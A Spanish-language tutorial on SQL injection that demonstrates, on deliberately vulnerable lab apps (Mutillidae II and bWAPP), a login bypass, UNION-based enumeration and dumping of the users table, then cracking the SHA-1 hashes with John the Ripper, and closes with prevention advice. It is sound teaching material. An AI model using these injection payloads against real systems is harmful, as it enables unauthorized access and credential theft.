Es una vulnerabilidad que permite a un atacante realizar consultas a la base de datos de una aplicación web mediante la inyección de instrucciones SQL en los parámetros vulnerables de las peticiones.
Explotando la vulnerabilidad, un atacante podría obtener información sensible almacenada en la base de datos. Como, por ejemplo, usuarios, contraseñas, correos e información confidencial.
Además, dependiendo de los privilegios que tenga, podría borrar la base de datos, cambiar el nombre de tablas, anular transacciones o escalar privilegios y acceder al sistema.
¿Por qué sucede esto?
El principal motivo es porqué el servidor no sanea correctamente el contenido de los parámetros introducidos por el usuario. En otras palabras, el servidor no comprueba que la información introducida por el usuario sea la correcta y no contenga código malicioso.
A continuación, se exponen algunos ejemplos. Al final se muestran más detalles de las máquinas usadas y se mencionaran otras máquinas virtuales con las que se pueden crear laboratorios para practicar.
Ejemplo OWASP Mutillidae
Para ello, vamos a coger un ejemplo de una máquina vulnerable, llamada “ OWASP Mutillidae II”.
Se accede la web: https://192.168.0.21/mutillidae/ y, usando los menús, se accede a “ User Info (SQL)”:
Instrucciones de acceso a la página vulnerable |
La página tiene un panel para iniciar sesión, donde el usuario puede introducir el usuario y la contraseña:
Panel de login potencialmente vulnerable |
Usando herramientas de interceptación, como Burp Suite, se puede comprobar que en la petición se envían dos parámetros: “username” y “password”. En este caso, el usuario es “test” y la contraseña “1234”:
Petición interceptada con Burp Suite |
El servidor, después de procesar los datos, devuelve un mensaje de error indicando que el usuario no existe:
Respuesta del servidor |
Un indicador de que el parámetro es vulnerable a inyección de SQL es que, al introducir valores no esperados por el servidor, este devuelva un error de SQL.
En este caso, se puede probar con el parámetro “username” introduciendo una comilla simple:
Intento de inicio de sesión con una comilla simple |
El servidor devuelve un error no controlado con el siguiente mensaje:
Página de error |
Este error indica dos cosas:
- El parámetro es potencialmente vulnerable a inyección de SQL
- El servidor no sanea los datos introducidos por el usuario
- La sentencia SQL que el servidor usa para procesar los datos introducidos por el usuario se parecerá a la siguiente:
¿Por qué ha devuelto el servidor un error? Suponiendo que la sentencia anterior, al introducir la comilla simple, el servidor a intentado procesar una sentencia SQL con un error en la sintaxis:
SELECT * FROM Users WHERE Username=’’’ AND Password=’’
Volviendo al primer intento de inicio de sesión que se ha hecho, podemos suponer que el servidor ha procesado la siguiente sentencia:
SELECT * FROM Users WHERE Username=’test’ AND Password=’1234’
Como ni el usuario ni la contraseña son correctas, la sentencia anterior devolverá 0 líneas al servidor y este muestra el error de inicio de sesión incorrecto.
Como se desconocen los usuarios que existen, se puede intentar evadir el login. Para ello, se introducen comandos SQL para que la sentencia sea TRUE y se consiga obtener acceso.
Una manera sería usar los comandos OR juntamente con 1=1, ya que es una sentencia que siempre es verdadera.
Si se introduce ‘OR ‘1’=’1 tanto en el campo de Username como en el de Password, la sentencia SQL procesada sería la siguiente:
SELECT * FROM Users WHERE Username=’’ OR ‘1=’1’ AND Password=’’ OR ‘1=’1’
Al inyectar los comandos SQL, aunque no se sepa el usuario ni la contraseña, se puede conseguir convertir una sentencia donde las cláusulas son FALSE a TRUE, ya que los ‘ OR ‘1’=’1 provocan que tanto la cláusula del Username como la de la Password sean verdaderas.
La primera comilla (') deja en blanco la entrada del nombre de usuario. La declaración es actualmente falsa.
El operador "OR" indica a la instrucción que si colocamos algo después que sea “true” (verdadero), toda la consulta se convierte en true (verdadero).
Y finalmente la condición de '1'='1 que siempre se cumple, ya que 1 siempre es igual a 1.
Si se introduce en el login:
Explotando la inyección SQL |
El servidor procesa los datos introducidos por el usuario sin validar y devuelve la sesión de administrador:
Explotación correcta |
Ejemplo bWAPP
Se carga la aplicación web bWAPP y se accede al siguiente enlace: https://192.168.0.21/bWAPP/login.php
Posteriormente se introducen las credenciales: bee/bug y se selecciona el menú SQL Injection (Search/GET)
Menú bWAPP |
La página potencialmente vulnerable esta formada por una tabla y un campo de búsqueda. Si se realiza una búsqueda vacía, la aplicación lista unas películas:
Listado de películas |
Si se introduce una comilla para intentar provocar un error, el servidor devuelve lo siguiente:
Error devuelto por el servidor |
El mensaje indica que la base de datos usada por la aplicación es MySQL. Además, el error indica que el parámetro es potencialmente vulnerable.
Podríamos hacer la suposición de que la sentencia que usa el servidor es similar a la siguiente:
SELECT * FROM movies WHERE title LIKE ‘title’
El objetivo es averiguar cómo se llama la base de datos actual y que tablas tiene.
Para ello se realizar la consulta union:
Inyección SQL |
Como la aplicación pasa los parámetros por GET (se puede ver el parámetro y su contenido en la barra del navegador), no es necesario usar un proxy.
Inyección SQL |
La sentencia SQL sería la siguiente:
SELECT * FROM movies WHERE title LIKE ‘’’ union select 1,2 -- -
El objetivo de esta inyección es adivinar cuantas tablas existen en la base de datos. Manualmente, se tiene que ir incrementando el número hasta dar con el correcto:
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2 -- -
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3 -- -
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4 -- -
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5 -- -
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5,6 -- -
- https://192.168.0.21/bWAPP/sqli_1.php?title=' union select 1,2,3,4,5,6,7 -- -
Al llegar a ' union select 1,2,3,4,5,6,7 la aplicación no muestra ningún error y a su vez muestra la siguiente tabla con sus correspondientes datos:
Inyección correcta |
Si se prefiere que no salgan todas las películas, se debe realizar la búsqueda con un título no existente:
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,5,6,7 -- -
Inyección correcta, sin películas |
Al tener las consultas numeradas del 1 al 7 se pueden identificar como aparecen en la tabla:
- Title = valor/atributo 2
- Release = valor/atributo 3
- Character = valor/atributo 5
- Genre = valor/atributo 4
A continuación, se intenta conseguir el nombre de la base de datos. Para ello, se substituye uno de los campos visibles por database().
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,database(),6,7-- -
Inyección correcta |
Otra cosa que se puede conseguir es la versión del servidor, se puede usar version().
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,version(),6,7-- -
Versión del servidor
|
Una vez se ha obtenido información del servidor, ya se puede ir un paso más allá y listar las tablas que tiene la base de datos.
Para ello se puede usar table_name:
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,table_name,6,7 from information_schema.tables -- -
Tablas de la base de datos |
A continuación, se añade la condición l where: para ver el contenido de table_schema.
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,2,3,4,table_name,6,7 from information_schema.tables where table_schema=database() -- -
Tablas de la aplicación |
Una tabla interesante es la de usuarios, ya que se pueden conseguir usuarios y contraseñas para poder acceder a la base de datos posteriormente.
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema=database() -- -
Columnas de la tabla users |
La tabla users tiene los siguientes campos interesantes: login, password, email y secret. Para ver su contenido, se ejecuta la siguiente comanda:
- https://192.168.0.21/bWAPP/sqli_1.php?title=hola' union select 1,login,password,email,secret,6,7 from users where password<>''-'
Nota: en la consulta where se indica que muestre las filas que tengan el campo de contraseña no vacío.
Contenido de la tabla users |
Se han obtenido dos usuarios con los respectivos hashes de sus contraseñas.
Lo primero que se tiene que hacer al obtener hashes, es averiguar de que tipo son.
Una herramienta es que viene por defecto en Kali Linux es hash-identifier:
- https://github.com/blackploit/hash-identifier
Si se introduce el hash, muestra que el hash es del tipo SHA-1:
Hash-identifier |
Otro método, que requiere conexión a internet, es la página CyberChef:
- https://gchq.github.io/CyberChef/
Menú Analyse hash |
En el apartado Input pegamos el hash. En el Output la web indicará el tipo de hash es. Igual que hash-identifier, CyberChef indica que es SHA-1.
CyberChef identificando el hash |
Por último, otro método para verificar el hash, es usar directamente el buscador https://duckduckgo.com/
Se escribe hash y a continuación se pega el hash obtenido:
Buscador DuckDuckGo |
Igual que los dos anteriores, DuckDuckGo indica que el hash es SHA-1:
Tipo de hash |
Una vez obtenido el tipo, se intentar descifrar. Para ello se pueden usar distintas técnicas.
La más cómoda es poner el hash en los buscadores. Es muy posible que alguien lo ha descifrado.
Otra opción es un descifrador online, hay muchísimos, un ejemplo seria el Descifrador online: https://sha1.gromweb.com/
Descifrador online |
Si no se dispone de Internet, se puede usar John the Ripper. Es un programa de criptografía el cual aplica fuerza bruta para descifrar contraseñas. Viene por defecto en Kali Linux, pero se puede descargar de la siguiente web https://www.openwall.com/john/.
Lo primero, antes de utilizar John the Ripper, es guardar el hash en un archivo de texto. Para el ejemplo, se ha guardado en el fichero “hash.txt”.
Se puede ejecutar John the Ripper de la siguiente forma:
John.exe es para ejecutar el programa y en el caso de la Kali Linux, con poner John ya funciona.
Con el flag --format=raw-sha1 se indica el tipo de hash que es. En este caso raw-sha1.
Finalmente, se indica la ruta donde se ha almacenado el hash: “c:\user\miusuario\hash.txt” en el caso de Windows o /Root/Desktop/hash.txt en el caso de Kali Linux.
Después de realizar un ataque de fuerza bruta, John the Ripper nos indica que la contraseña es “bug”. Por lo tanto, sabemos que la contraseña tanto del usuario “ bee” como “ A.I.M” es “ bug”, ya que tenían el mismo hash.
En la página inicial se puede verificar que la contraseña es la correcta:
Verificación de contraseña |
¿Cómo prevenirlo?
El servidor debería:
- Escapar los caracteres especiales utilizados en las consultas SQL.
- Delimitar los valores de las consultas para mitigar ataques de inyección SQL
- Verificar siempre los datos que introduce el usuario.
- Asignar mínimos privilegios al usuario que conectará con la base de datos
- Antes de pasar a producción la aplicación, se debería realizar auditorías de seguridad para verificar que los parámetros no son vulnerables
- https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL
- https://www.owasp.org/index.php/Top_10_2007-Fallas_de_Inyecci%C3%B3n
- https://geeks.ms/gtorres/2010/10/29/tips-para-evitar-sql-injection/
- https://www.genbeta.com/desarrollo/evita-los-ataques-de-inyeccion-de-sql
Autor: Héctor Berrocal - CCNA, CEH, ITILF, MCP
Dtpo. Auditoría